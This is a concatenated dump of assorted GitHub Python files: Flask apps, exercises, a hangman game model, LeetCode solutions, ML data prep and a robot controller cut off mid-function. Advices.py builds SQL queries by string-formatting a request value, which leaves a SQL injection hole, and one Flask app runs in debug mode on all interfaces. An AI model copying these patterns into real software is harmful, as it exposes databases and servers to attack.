render_template('index.html',vcf_upload=vcf_upload,json_schema=json_schema)\n #Displays example JSON\n return render_template('index.html',json_schema=json_schema)\n\n\n@APP.route('/vmc_vcf', methods=['GET', 'POST'])\ndef display_vmc_vcf():\n \"\"\"\n Checks to see if the transformed VCF already exists in the downloads folder, generates it if not from transform.py, then displays it along with the\n example JSON schema and the original uploaded file. Also sends the filepath for downloading the transformed VCF file.\n \"\"\"\n json_schema = get_json_schema()\n filename = get_filename()\n json_path,vmc_vcf_path = get_download_paths()\n vcf_upload = get_upload(filename)\n #Check if transformed VCF exists in downloads folder\n r = re.compile('.+.vcf')\n if filter(r.match, os.listdir(\"static/downloads\")):\n vcf_transform.run(filename, vmc_vcf_path)\n vmc_vcf = get_vmc_vcf(vmc_vcf_path)\n else:\n vmc_vcf = get_vmc_vcf(vmc_vcf_path)\n return render_template('index.html', json_schema=json_schema, vcf_upload=vcf_upload, vmc_vcf=vmc_vcf, vmc_vcf_path=vmc_vcf_path)\n\n\n@APP.route('/json_bundle', methods=['GET', 'POST'])\ndef display_json_bundle():\n \"\"\"\n Checks to see if the transformed JSON already exists in the downloads folder, generates it if not from bundle.py, then displays it along with the\n example JSON schema and the original uploaded file. Also sends the filepath for downloading the transformed JSON file.\n\n \"\"\"\n json_schema = get_json_schema()\n filename = get_filename()\n json_path,vmc_vcf_path = get_download_paths()\n vcf_upload = get_upload(filename)\n #Check if transformed JSON exists in downloads folder\n r = re.compile('.+.json')\n if filter(r.match, os.listdir(\"static/downloads\")):\n json_bundle = get_json_bundle(json_path)\n else:\n json_bundle.run(filename, json_path)\n json_bundle = get_json_bundle(json_path)\n return render_template('index.html', json_schema=json_schema, vcf_upload=vcf_upload, json_bundle=json_bundle, json_path=json_path)\n\n\n@APP.route('/hgvs', methods=['GET', 'POST'])\ndef hgvs_to_json():\n \"\"\"\n Uses conversions.py to convert a HGVS string to a VMC JSON bundle and displays it along with the example JSON schema.\n\n \"\"\"\n json_schema = get_json_schema()\n hgvs = request.form['hgvs_string']\n hgvs_json = hgvs_conversion.from_hgvs(hgvs)\n return render_template('index.html', json_schema=json_schema, hgvs_json=hgvs_json)\n\n\n# start the server with the 'run()' method\nif __name__ == '__main__':\n APP.run(debug=True, host=\"0.0.0.0\",port=8000)\n","repo_name":"mwatkin8/vmc-test-suite","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72919095732","text":"# 문제1 : 리스트의 삭제\nnums = [100, 200, 300, 400, 500]\ndel nums[-1]\ndel nums[-1]\nprint(nums) # [100, 200, 300]\n\n# 문제2 : 리스트의 내장함수\nl = [200, 100, 300]\nl.insert(2, 10000)\nprint(l) # [200, 100, 10000, 300]\n\n# 문제3 : 변수의 타입\nl = [100, 200, 300]\nprint(type(l)) # \n\n# 문제4 : 변수의 타입2\n# 다음 변수 a를 print(type(a))로 넣었을 때 출력될 값과의 연결이 알맞지 않은 것은?\n# 3) 입력 : a = 'p', 출력 : class 'char'\n\n# 문제5 : for문 계산\na = 10\nb = 2\nfor i in range(1, 5, 2):\n a += i\nprint(a+b) # 16\n\n# 문제6 : False\n# 1) None => False\n# 2) 1 => True\n# 3) \"\" => False\n# 4) 0 => False\n# 5) bool(0) => False\n\n# 문제7 : 변수명\n# 다음 중 변수명으로 사용할 수 없는 것 2개를 고르시오.\n# 1) age\n# 2) a\n# 3) as => as는 예약어이므로 사용할 수 없다.\n# 4) _age \n# 5) 1age => 변수명은 숫자로 시작할 수 없다.\n\n# 문제8 : 딕셔너리 키 이름 중복\nd = {'height':180,'weight':78,'weight':84,'temparture':36,'eyesight':1}\nprint(d['weight']) # 84\n\n# 문제9 : sep과 end를활용한 출력방법\nyear = '2019'\nmonth = '04'\nday = '26'\nhour = '11'\nminute = '34'\nsecond = '27'\nprint(year, month, day, sep='/', end=' ')\nprint(hour, minute, second, sep=':') # 2019/04/26 11:34:27\n\n# 문제10 : 별 찍기\nn = 5\nfor i in range(1, n+1):\n print(\" \" *(n-i)+\"*\"*(2*i-1))\n\"\"\"\n *\n ***\n *****\n *******\n*********\n\"\"\"","repo_name":"jeleedev/wecode26-study","sub_path":"Algorithm/jaewon/python_100/001_010.py","file_name":"001_010.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11544988044","text":"\"\"\"models.py - This file contains the class definitions for the Datastore\nentities used by the Game. Because these classes are also regular Python\nclasses they can include methods (such as 'to_form' and 'new_game').\"\"\"\n\nimport random\nfrom datetime import date\nfrom protorpc import messages\nfrom google.appengine.ext import ndb\n\nWORDS = open('words.txt').read().splitlines()\n\nclass User(ndb.Model):\n \"\"\"User profile\"\"\"\n name = ndb.StringProperty(required=True)\n email = ndb.StringProperty()\n total_game_score = ndb.IntegerProperty(required=True, default=0)\n total_games_played = ndb.IntegerProperty(required=True, default=0)\n user_score = ndb.FloatProperty(required=True, default=0)\n\n def to_user_ranking_form(self):\n \"\"\"Returns user info to ranking form\"\"\"\n\n return UserRankingForm(user_name=self.name,\n user_score=self.user_score)\n\n\nclass Game(ndb.Model):\n \"\"\"Game object\"\"\"\n target = ndb.StringProperty(required=True)\n obscured_target= ndb.StringProperty(required=True)\n attempts_remaining = ndb.IntegerProperty(required=True, default=8)\n game_over = ndb.BooleanProperty(required=True, default=False)\n tried_letters_were_wrong = ndb.StringProperty(required=True)\n correct_letters = ndb.StringProperty(required=True)\n all_guesses = ndb.StringProperty(required=True)\n user = ndb.KeyProperty(required=True, kind='User')\n\n @classmethod\n def new_game(cls, user, min, max):\n \"\"\"Creates and returns a new game\"\"\"\n\n if max < min:\n raise ValueError('Maximum must be greater than minimum')\n\n # Use min and max to make a list of acceptable words\n # from a dictionary file\n acceptable_words = []\n for word in WORDS:\n if len(word) >= min and len(word)<=max:\n acceptable_words.append(word)\n\n # Make the word lower case\n word_to_use = random.choice(acceptable_words).lower()\n hidden_word = ''\n # Make a copy of the word with letters obscured\n for letter in word_to_use:\n hidden_word = hidden_word + \"$\"\n\n game = Game(user=user,\n target=word_to_use,\n obscured_target=hidden_word,\n tried_letters_were_wrong=\"\",\n correct_letters=\"\",\n all_guesses=\"\",\n game_over=False,\n parent=user)\n\n game.put()\n return game\n\n def to_form(self, message):\n \"\"\"Returns a GameForm representation of the Game\"\"\"\n form = GameForm()\n form.urlsafe_key = self.key.urlsafe()\n form.user_name = self.user.get().name\n form.attempts_remaining = self.attempts_remaining\n form.game_over = self.game_over\n form.message = message\n return form\n\n def to_game_history_form(self):\n \"\"\"Returns a form representation of the history of a game\"\"\"\n\n formatted_all_letters = \"Order of guesses: \"\n formatted_correct_letters = \"Order of correct guesses: \"\n formatted_wrong_letters = \"Order of incorrect guesses: \"\n\n correct_list = list(self.correct_letters)\n wrong_list = list(self.tried_letters_were_wrong)\n all_list = list(self.all_guesses)\n\n # Make formatted strings for all, good, bad guesses\n for idx, val in enumerate(all_list):\n if (idx + 1) == len(all_list):\n formatted_all_letters = formatted_all_letters + \\\n (\"%s: %s\" % ((idx+1), val))\n else:\n formatted_all_letters = formatted_all_letters + \\\n (\"%s: %s, \" % ((idx+1), val))\n\n for idx, val in enumerate(correct_list):\n if (idx + 1) == len(correct_list):\n formatted_correct_letters = formatted_correct_letters + \\\n (\"%s: %s\" % ((idx+1), val))\n else:\n formatted_correct_letters = formatted_correct_letters + \\\n (\"%s: %s, \" % ((idx+1), val))\n\n for idx, val in enumerate(wrong_list):\n if (idx + 1) == len(wrong_list):\n formatted_wrong_letters = formatted_wrong_letters + \\\n (\"%s: %s\" % ((idx+1), val))\n else:\n formatted_wrong_letters = formatted_wrong_letters + \\\n (\"%s: %s, \" % ((idx+1), val))\n\n return GameHistoryForm(urlsafe_key=self.key.urlsafe(),\n attempts_remaining=self.attempts_remaining,\n game_over=self.game_over,\n user_name=self.user.get().name,\n correct_moves=formatted_correct_letters,\n wrong_moves=formatted_wrong_letters,\n all_moves=formatted_all_letters,\n last_game_state=self.obscured_target)\n\n\n\n def to_user_games_form(self):\n \"\"\"Returns a UserGamesForm representation of the Game\"\"\"\n\n return GameForm(urlsafe_key=self.key.urlsafe(),\n attempts_remaining=self.attempts_remaining,\n game_over=self.game_over, message='Game in Progress',\n user_name=self.user.get().name)\n\n\n def deleted_game_form(self, message):\n return DeleteGameForm(urlsafe_key=self.key.urlsafe(),\n message=message)\n\n\n def end_game(self, won=False):\n \"\"\"Ends the game - if won is True, the player won. - if won is False,\n the player lost.\"\"\"\n self.game_over = True\n self.put()\n\n # Give game score\n if won is True:\n game_score = self.attempts_remaining * len(self.target)\n else:\n game_score = 0\n\n # Add game score and game to user properties\n user = self.user.get()\n user.total_game_score = user.total_game_score + game_score\n user.total_games_played = user.total_games_played + 1\n\n user.user_score = (user.total_game_score/user.total_games_played)\n\n user.put()\n\n # Add the game to the score 'board'\n score = Score(user=self.user, date=date.today(), won=won,\n game_score=game_score)\n score.put()\n\n\nclass Score(ndb.Model):\n \"\"\"Score object\"\"\"\n user = ndb.KeyProperty(required=True, kind='User')\n date = ndb.DateProperty(required=True)\n won = ndb.BooleanProperty(required=True)\n game_score = ndb.IntegerProperty(required=True)\n\n def to_form(self):\n return ScoreForm(user_name=self.user.get().name, won=self.won,\n date=str(self.date), game_score=self.game_score)\n\nclass GameHistoryForm(messages.Message):\n \"\"\"Form for displaying game history\"\"\"\n urlsafe_key = messages.StringField(1, required=True)\n attempts_remaining = messages.IntegerField(2, required=True)\n game_over = messages.BooleanField(3, required=True)\n user_name = messages.StringField(4, required=True)\n correct_moves = messages.StringField(5, required=True)\n wrong_moves = messages.StringField(6, required=True)\n all_moves = messages.StringField(7, required=True)\n last_game_state = messages.StringField(8, required=True)\n\nclass GameForm(messages.Message):\n \"\"\"GameForm for outbound game state information\"\"\"\n urlsafe_key = messages.StringField(1, required=True)\n attempts_remaining = messages.IntegerField(2, required=True)\n game_over = messages.BooleanField(3, required=True)\n message = messages.StringField(4, required=True)\n user_name = messages.StringField(5, required=True)\n\nclass DeleteGameForm(messages.Message):\n \"\"\"Form to report confirmation of deleted games\"\"\"\n urlsafe_key = messages.StringField(1, required=True)\n message = messages.StringField(2, required=True)\n\n\nclass UserGamesForm(messages.Message):\n \"\"\"Form for outbound information about active user games\"\"\"\n games = messages.MessageField(GameForm, 1, repeated=True)\n\n\nclass NewGameForm(messages.Message):\n \"\"\"Used to create a new game\"\"\"\n user_name = messages.StringField(1, required=True)\n min = messages.IntegerField(2, default=1)\n max = messages.IntegerField(3, default=10)\n\n\nclass MakeMoveForm(messages.Message):\n \"\"\"Used to make a move in an existing game\"\"\"\n guess = messages.StringField(1, required=True)\n\n\nclass ScoreForm(messages.Message):\n \"\"\"ScoreForm for outbound Score information\"\"\"\n user_name = messages.StringField(1, required=True)\n date = messages.StringField(2, required=True)\n won = messages.BooleanField(3, required=True)\n game_score = messages.IntegerField(4, required=True)\n\n\nclass ScoreForms(messages.Message):\n \"\"\"Return multiple ScoreForms\"\"\"\n scores = messages.MessageField(ScoreForm, 1, repeated=True)\n\n\nclass ScoreBoard(messages.Message):\n \"\"\"Return high scores in descending order\"\"\"\n high_scores = messages.MessageField(ScoreForm, 1, repeated=True)\n\n\nclass UserRankingForm(messages.Message):\n \"\"\"Form for returning user ranking\"\"\"\n user_name = messages.StringField(1, required=True)\n user_score = messages.FloatField(4, required=True)\n\n\nclass MultiUserRankingForm(messages.Message):\n \"\"\"Form for returning multiple user ranking forms\"\"\"\n rankings = messages.MessageField(UserRankingForm, 1, repeated=True)\n\n\nclass StringMessage(messages.Message):\n \"\"\"StringMessage-- outbound (single) string message\"\"\"\n message = messages.StringField(1, required=True)\n","repo_name":"rubalcava/fs-nanodegree-design-game","sub_path":"Hangman/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":9595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29359989341","text":"from esilsolve import ESILSolver\n\n# start the ESILSolver instance\n# and init state with r2 symbol for check function\nesilsolver = ESILSolver(\"test/tests/floatarm\", debug=True)\nstate = esilsolver.call_state(\"main\")\n\n# make rdi (arg1) symbolic\nstate.set_symbolic_register(\"x0\")\n#state.registers[\"x0\"] = 2\narg = state.registers[\"x0\"]\n\n# set targets and avoided addresses\n# state will contain a state at the target pc addr\nstate = esilsolver.run(target=0x648, avoid=[0x650])\nprint(\"ARG1: %d \" % state.evaluate(arg).as_long())\n","repo_name":"radareorg/esilsolve","sub_path":"test/floatarm.py","file_name":"floatarm.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":148,"dataset":"github-code","pt":"21"} +{"seq_id":"70426081012","text":"'''\nCategory: DFS\n'''\n\n\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution:\n def sumEvenGrandparent(self, root: TreeNode):\n count = 0\n\n def dfs(node: TreeNode):\n nonlocal count\n if node.left:\n if node.val % 2 == 0:\n if node.left.left:\n count += node.left.left.val\n if node.left.right:\n count += node.left.right.val\n dfs(node.left)\n if node.right:\n if node.val % 2 == 0:\n if node.right.left:\n count += node.right.left.val\n if node.right.right:\n count += node.right.right.val\n dfs(node.right)\n dfs(root)\n return count\n\n def sumEvenGrandparent2(self, root: TreeNode):\n total = 0\n\n def dfs(node: TreeNode, p: TreeNode, gp: TreeNode):\n nonlocal total\n if not node:\n return\n if gp and gp.val % 2 == 0:\n total += node.val\n dfs(node.left, node, p)\n dfs(node.right, node, p)\n dfs(root, None, None)\n return total\n\n\ncases = []\n\nroot = TreeNode(6)\nroot.left = TreeNode(7)\nroot.right = TreeNode(8)\nroot.left.left = TreeNode(2)\nroot.left.right = TreeNode(7)\nroot.right.left = TreeNode(1)\nroot.right.right = TreeNode(3)\nroot.left.left.left = TreeNode(9)\nroot.left.right.left = TreeNode(1)\nroot.left.right.right = TreeNode(4)\nroot.right.right.right = TreeNode(5)\ncases.append(root)\n\nfor c in cases:\n s = Solution().sumEvenGrandparent2(c)\n print(s)\n","repo_name":"Jeldo/PS","sub_path":"leetcode/solved/1315.py","file_name":"1315.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40111717419","text":"#!env/bin/python\n\nimport csv\nimport plac\nimport random\nfrom pathlib import Path\n\nuse_titles = False\n\n\n@plac.annotations(\n data_dir=(\"data directory\", \"option\", \"i\", Path),\n n_iter=(\"Number of training iterations\", \"option\", \"n\", int))\ndef main(data_dir='data/lapd.labeled', n_iter=20):\n generate_fasttext_train_test_files(data_dir)\n\n\ndef generate_fasttext_train_test_files(data_dir):\n texts, labels = load_data(data_dir)\n data = format_data_for_fasttext(texts, labels)\n\n split = 0.8\n random.shuffle(data)\n split = int(len(data) * split)\n train_data = data[:split]\n test_data = data[split:]\n print(\"Using {} examples ({} training, {} evaluation)\"\n .format(len(texts), len(train_data), len(test_data)))\n\n out_dir = 'data/fasttext'\n\n # write train\n ft_train = '{}/crime.train'.format(out_dir)\n print('writing {} ...'.format(ft_train))\n with open(ft_train, 'w') as _file:\n for item in train_data:\n _file.write(\"{}\\n\".format(item))\n\n # write test\n ft_test = '{}/crime.test'.format(out_dir)\n print('writing {} ...'.format(ft_test))\n with open(ft_test, 'w') as _file:\n for item in test_data:\n _file.write(\"{}\\n\".format(item))\n\n print('Done.')\n\n\ndef load_data(data_dir):\n print()\n print(\"loading data from '{}'...\".format(data_dir))\n data_dir = Path(data_dir)\n texts = []\n labels = []\n # for year in ['2018']:\n # for year in ['2010', '2011', '2012', '2013', '2014', '2015', '2016', '2017', '2018']:\n for year in ['1999', '2000', '2001', '2002', '2003', '2004', '2005', '2006', '2007', '2008', '2009', '2010', '2011', '2012', '2013', '2014', '2015', '2016', '2017', '2018']:\n csv_path = data_dir / 'lapd_news_{}.csv'.format(year)\n if csv_path.exists():\n t, l = load_data_file(csv_path)\n labels = labels + l # array concatination\n texts = texts + t # array concatination\n return texts, labels\n\n\ndef load_data_file(path):\n texts = []\n labels = []\n with path.open('r') as file_:\n for row in csv.DictReader(file_, delimiter=','):\n # text\n text = row['title'] if use_titles else row['text']\n texts.append(text)\n # labels (there may be multiple labels per row, sparated by '|')\n raw_labels = row['labels']\n labels_list = list(\n map(lambda label: label.strip(), raw_labels.split('|')))\n labels.append(labels_list)\n return texts, labels\n\n\ndef format_data_for_fasttext(texts, labels):\n labeled_texts = []\n for i, labels_list in enumerate(labels):\n ft_labels = ' '.join('__label__{}'.format(label)\n for label in labels_list)\n labeled_texts.append('{} {}'.format(ft_labels, texts[i]))\n return labeled_texts\n\n\nif __name__ == '__main__':\n plac.call(main)\n","repo_name":"yossico-rnd-hub/nlpy","sub_path":"tests/lapd/fasttext.py","file_name":"fasttext.py","file_ext":"py","file_size_in_byte":2887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16902534780","text":"import unittest\nfrom api import app, api\n\n\nclass HelloResourceTest(unittest.TestCase):\n def setUp(self) -> None:\n self.app = app\n self.client = app.test_client()\n\n def test_hello_available(self):\n response = self.client.get('/hello')\n self.assertIsNotNone(response)\n\n def test_hello_get(self):\n response = self.client.get('/hello')\n expected = {\n 'os': 'android',\n 'version': 11,\n 'name': 'not-named'\n }\n self.assertEqual(response.status_code, 200)\n self.assertDictEqual(response.get_json(), expected)\n\n def test_post_basic(self):\n obj = {\n 'os': 'android',\n 'version': 11,\n 'name': 'not-named',\n 'date': '2021-01-01'\n }\n\n expected = {\n 'sts': 'success',\n 'msg': 'os created successfully',\n 'res': obj\n }\n\n response = self.client.post('/hello', json=obj)\n self.assertEqual(response.status_code, 201)\n self.assertDictEqual(response.get_json(), expected)\n\n def test_post_invalid_date(self):\n obj = {\n 'os': 'android',\n 'version': 11,\n 'name': 'not-named',\n 'date': '2021-12-12'\n }\n\n expected = {\n 'sts': 'fail',\n 'msg': 'Date Should be Less Than Today',\n }\n\n response = self.client.post('/hello', json=obj)\n self.assertEqual(response.status_code, 400)\n self.assertDictEqual(response.get_json(), expected)\n\n def test_post_valid_date(self):\n obj = {\n 'os': 'android',\n 'version': 11,\n 'name': 'not-named',\n 'date': '2021-12-08'\n }\n\n expected = {\n 'sts': 'success',\n 'msg': 'os created successfully',\n 'res': obj\n }\n\n response = self.client.post('/hello', json=obj)\n self.assertEqual(response.status_code, 201)\n self.assertDictEqual(response.get_json(), expected)\n\n def test_post_wrong_date_format(self):\n obj = {\n 'os': 'android',\n 'version': 11,\n 'name': 'not-named',\n 'date': '08-01-2021'\n }\n\n expected = {\n 'sts': 'fail',\n 'msg': 'Date Format Should be (YYYY-MM-DD)'\n }\n\n response = self.client.post('/hello', json=obj)\n self.assertEqual(response.status_code, 400)\n self.assertDictEqual(response.get_json(), expected)\n\n def tearDown(self) -> None:\n pass\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"aniruddhha/python-training-43be6296c438424db50d31dd91e5191e","sub_path":"week-3/day-4/flask-app-unit-testing/api_test.py","file_name":"api_test.py","file_ext":"py","file_size_in_byte":2616,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"21"} +{"seq_id":"22903550782","text":"# Adamın çözdüğü\n# Çözüm sayısı 0 | Hedef 5 çözüm\nclass Solution(object):\n def twoSum(self, nums, target):\n hashTable = {}\n for idx, i in enumerate(nums):\n minusEl = target - i \n if i in hashTable:\n return [hashTable[i], idx]\n hashTable[minusEl] = idx\n \n \n \n\n\n\n\nprint(Solution().twoSum([2,7,11,15], 9))","repo_name":"merthamit/Over-300-leetcode-solutions","sub_path":"leetcodes questions/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"10776178057","text":"#! /usr/bin/python\n# written by Sarah Dean to work in conjunction with TakkTile code by Ian Daniher\n\nimport TakkTileread\nimport sys, pprint\n\ntact = TakkTileread.TakkTile()\ntact.startSampling(200)\n\ndic = [0] * 40 #assume 40 sensors\ntemp = [0] * 40\nfor i in range (1, 11):\n tdic, ttemp = tact.getData()\n for j in range(0,40): dic[j] += tdic[j]\n for j in range(0,40): temp[j] += ttemp[j]\n\n#s = '\\t'.join(map(str,dic.values()))+'\\t'+'\\t'.join(map(str,temp.values()))\n#sys.stdout.write(s)\ns = \"\\t\".join(map(str,dic))+\"\\t\"+\"\\t\".join(map(str,temp))\nsys.stdout.write(s)\n\ntact.stopSampling()\n","repo_name":"sarahxdean/RScholar_Takk","sub_path":"TakktoMatlab10.py","file_name":"TakktoMatlab10.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3965824443","text":"from flask_restful import reqparse\nfrom common.MySqlConfig import MySqlConfig\nfrom datetime import datetime\nfrom models.BaseModel import BaseModel\n\n\nclass Advices(BaseModel):\n mysql = MySqlConfig.mysql\n\n def getAllAdvices(self):\n return BaseModel.baseRequest(self, \"SELECT * FROM advices;\")\n\n def getSingleAdvice(self, adviceID):\n results = BaseModel.baseRequest(self, \"SELECT * FROM advices WHERE Id='{0}'\", adviceID)\n if not results:\n return {'message': 'Not found'}, 404\n return results\n\n def deleteSingleAdvice(self, adviceID):\n if not BaseModel.baseRequest(self, \"SELECT * FROM advices WHERE Id='{0}'\", adviceID):\n return {'StatusCode': '404', 'Message': '404 not found'}, 404\n BaseModel.baseRequest(self, \"DELETE FROM advices WHERE Id='{0}'\", adviceID)\n return {'message': 'Delete successful'}, 200\n\n def createAdvice(self):\n parser = reqparse.RequestParser()\n parser.add_argument('title', type=str, help='title', required=True)\n parser.add_argument('shortDescription', type=str, help='short description to be shown on main page',\n required=True)\n parser.add_argument('categoryName', type=str, help='CategoryName', required=True)\n parser.add_argument('authorName', type=str, help='AuthorName', required=True)\n parser.add_argument('body', type=str, help='Content', required=True)\n parser.add_argument('tags', type=str, help='Content', required=False)\n args = parser.parse_args()\n\n _adviceTitle = args['title']\n _adviceShortDescription = args['shortDescription']\n _adviceCategoryName = args['categoryName']\n _adviceAuthorName = args['authorName']\n _adviceCreateDate = str(datetime.now())\n _adviceBody = args['body']\n _adviceTags = args['tags']\n\n conn = Advices.mysql.connect()\n cursor = conn.cursor()\n cursor.callproc('spCreateAdvice',\n (_adviceTitle, _adviceShortDescription, _adviceCategoryName, _adviceAuthorName, _adviceCreateDate,\n _adviceBody, _adviceTags))\n data = cursor.fetchall()\n\n if len(data) is 0:\n conn.commit()\n cursor.close()\n conn.close()\n return {'message': 'Advice creation success'}\n else:\n return {'message': str(data[0])}\n","repo_name":"jakubnaj/pythonProject","sub_path":"REST API/app/models/Advices.py","file_name":"Advices.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38758830341","text":"#9793735\n\nimport numpy as np\n\ndef normal_equation_prediction(x_dataset, y_dataset):\n \"\"\"\n Calculates the prediction using the normal equation method.\n You should add a new column with 1s.\n\n :param x_dataset: design matrix\n :type x_dataset: np.array\n :param y_dataset: regression targets\n :type y_dataset: np.array\n :return: prediction\n :rtype: np.array\n\n \"\"\"\n ones_line = np.ones((x_dataset.shape[0], 1))\n x_line = np.append(ones_line, x_dataset, axis=1)\n x_transpose = np.transpose(x_line)\n w_estimative = np.linalg.inv(np.dot(x_transpose, x_line))\n w_estimative = np.dot(w_estimative, x_transpose)\n w_estimative = np.dot(w_estimative, y_dataset)\n prediction = np.dot(x_line, w_estimative)\n\n return prediction\n","repo_name":"leolanavo/MAC0460","sub_path":"EPS/EP1/equacao_normal.py","file_name":"equacao_normal.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7440637147","text":"import numpy as np\n\n\ndef linear_least_squares(X, y, lamda=0):\n \"\"\"\n Function to calculate linear regression using the least squares method. It\n uses the Moore-Penrose pseudo-inverse of a matrix to avoid non\n invertibility.\n\n :param X: Matrix of inputs, where each row represents an instance and each\n column represents a feature.\n :param y: Array of target output (i.e. labels).\n :param lamda: Lambda value used for regularization.\n \"\"\"\n\n if lamda > 0:\n reg = lamda * np.eye(X.shape[1])\n reg[0, 0] = 0\n else:\n reg = 0\n\n return np.linalg.pinv(X.T.dot(X) + reg).dot(X.T.dot(y))\n\n","repo_name":"DiploDatos/IntroduccionAprendizajeAutomatico","sub_path":"archive/2018/ml/regression.py","file_name":"regression.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"21"} +{"seq_id":"4543241014","text":"import logging\nimport os\nfrom pathlib import Path\n\nlogging.basicConfig(level=logging.INFO,format='[%(asctime)s]: %(message)s')\npackage_name=\"covid_classifier\"\n\nlist_of_files=[\n \".github/workflows/.gitkeep\",\n f\"src/{package_name}/__init__.py\",\n f\"src/{package_name}/components/__init__.py\",\n f\"src/{package_name}/utils/__init__.py\",\n f\"src/{package_name}/config/__init__.py\",\n f\"src/{package_name}/pipeline/__init__.py\",\n f\"src/{package_name}/entity/__init__.py\",\n f\"src/{package_name}/constants/__init__.py\",\n f\"src/{package_name}/utils/common.py\",\n \"tests/__init__.py\",\n \"tests/unit/__init__.py\",\n \"tests/integration/__init__.py\",\n \"configs/config.yaml\",\n \"dvc.yaml\",\n \"params.yaml\",\n \"init_setup.sh\",\n \"requirements.txt\",\n \"requirements_dev.txt\",\n \"setup.py\",\n \"setup.cfg\",\n \"pyproject.toml\",\n \"tox.ini\",\n \"research/trials.ipynb\",\n \"example.py\"\n]\n\nfor files in list_of_files:\n filepath=Path(files)\n filedir,filename=os.path.split(filepath)\n if filedir!=\"\":\n os.makedirs(filedir,exist_ok=True)\n logging.info(f\"Directory has been created in {filedir} directory!!\")\n if (not os.path.exists(filepath)) or (os.path.getsize(filepath))==0:\n with open(filepath,\"w\") as f:\n pass\n logging.info(f\"files has beeen created named as {filepath}\")\n else:\n logging.info(f\"{filepath} already exists\")\n \n ","repo_name":"10tanmay100/Covid-19-Image-Classifier","sub_path":"template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73186761014","text":"import rahultest as util\nfrom flask import Flask, render_template\nfrom flask_socketio import SocketIO\n\napp = Flask(__name__)\nio = SocketIO(app)\n\n\n@app.route('/')\ndef start():\n return render_template('index.html')\n\n@io.on('connect')\ndef test_connect():\n io.emit('after connect', \"connection Successful\")\n\n@io.on('newFrame')\ndef process_frame(raw_frame):\n img = util.convert_uri(raw_frame)\n lined_img = util.canvas(img)\n url = util.convert_img(lined_img)\n io.emit('disp_img', url)\n\n\nif __name__ == '__main__':\n io.run(app, host = '0.0.0.0')","repo_name":"shriramrahul7/cv-paint-sockets","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"44543188621","text":"import numpy as np\nimport rleasy_tut.utils.transform_utils as T\nfrom rleasy_tut.utils.filters import ButterLowPass\nfrom rleasy_tut.utils.mjc_utils import get_contact_force\n\nclass HPFController:\n def __init__(\n self,\n sim,\n actuator_names,\n rot_action=0,\n eef_name=\"capsule1\",\n eef_site_name=\"cap_top_site\",\n kp=150,\n kp_f=1.5e-5,\n damping_ratio=1,\n control_freq=40,\n ramp_ratio=0.8,\n ):\n self.sim = sim\n\n # define type of action for rotation\n self.rot_action = rot_action\n\n # time\n self.ramp_ratio = 0.8\n self.dynamic_timestep = self.sim.model.opt.timestep\n self.control_freq = control_freq\n self.control_timestep = 1 / self.control_freq\n self.interpolate_steps = np.ceil(\n self.control_timestep / self.dynamic_timestep * ramp_ratio\n )\n\n # filter\n fs = 1.0 / self.dynamic_timestep\n cutoff = 30\n self.lowpass_filter = ButterLowPass(cutoff, fs, order=5)\n\n # ref\n self.eef_name = eef_name\n self.eef_site_name = eef_site_name\n self.eef_site_idx = self.sim.model.site_name2id(\n self.eef_site_name\n )\n actuator_names = actuator_names\n self.actuator_ids = [\n self.sim.model.actuator_name2id(n) for n in actuator_names\n ]\n self.joint_ids = self.sim.model.actuator_trnid[self.actuator_ids, 0]\n \n # information\n self._state = dict(\n eef_pos=np.zeros(3),\n eef_quat=np.zeros(4),\n eef_vel=np.zeros(6),\n ft_world=np.zeros(6),\n )\n\n # gain\n self.damping_ratio = damping_ratio\n self._kp = kp\n self._kd = 2 * np.sqrt(self._kp) * damping_ratio\n self._kp_f = kp_f\n self.dtorque_lim = 1\n\n self._update_state()\n self.prev_torq = self.sim.data.qfrc_bias[self.joint_ids]\n self._pd = self._state['eef_pos']\n self._qd = self._state['eef_quat']\n self._fd = self._state['ft_world'][:3]\n self.steps = 0\n\n def set_goal(self, action, pose_cmd=False, rot_abs=False):\n self.steps = 0\n # pos\n if pose_cmd:\n self._p0 = self._pd\n self.action = self.scale_action(action[:3], out_max=0.002)\n\n # force\n self._f0 = self._fd\n self.goal_force = action[:3]\n\n # quat\n self._q0 = self._qd\n eef_quat = self._state['eef_quat']\n \n if (\n self.rot_action == 0 \n or pose_cmd == True\n or rot_abs == True\n ):\n concat_axisangle = np.concatenate((\n [action[3]], [0]\n ))\n concat_axisangle = np.concatenate((\n concat_axisangle, [action[4]]\n ))\n action_ori = T.axisangle2quat(concat_axisangle)\n ori_action = T.quat_error(eef_quat, action_ori)\n elif 